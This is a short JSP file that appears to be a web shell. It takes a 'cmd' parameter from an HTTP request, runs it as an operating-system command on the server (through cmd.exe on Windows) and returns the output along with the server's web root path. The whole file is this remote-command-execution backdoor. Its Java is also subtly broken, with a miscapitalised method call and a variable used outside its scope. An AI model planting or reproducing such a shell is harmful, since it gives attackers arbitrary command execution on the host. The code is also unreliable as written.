<%@ page import="java.io.*" %>
<%@ page import="java.util.*" %>
<%@ page import="javax.servlet.*" %>
<%@ page import="javax.servlet.http.*" %>
<%
String cmd = request.getParameter("cmd");
String OS = System.GetProperty("os.name");
String output = "";
if(cmd != null) {
String s = null;
try {
if(OS.startsWith("Windows")) // if windows use cmd /c, if not, just pass the command
{
Process p = Runtime.getRuntime().exec("cmd.exe /C " + cmd);
}
else
{
Process p = Runtime.getRuntime().exec(cmd);
}
BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) {
output += s;
}
}
catch(IOException e) {e.printStackTrace();}
}
%>
Current working directory is:
<%= getServletContext().getRealPath("/") %>
<%=output %>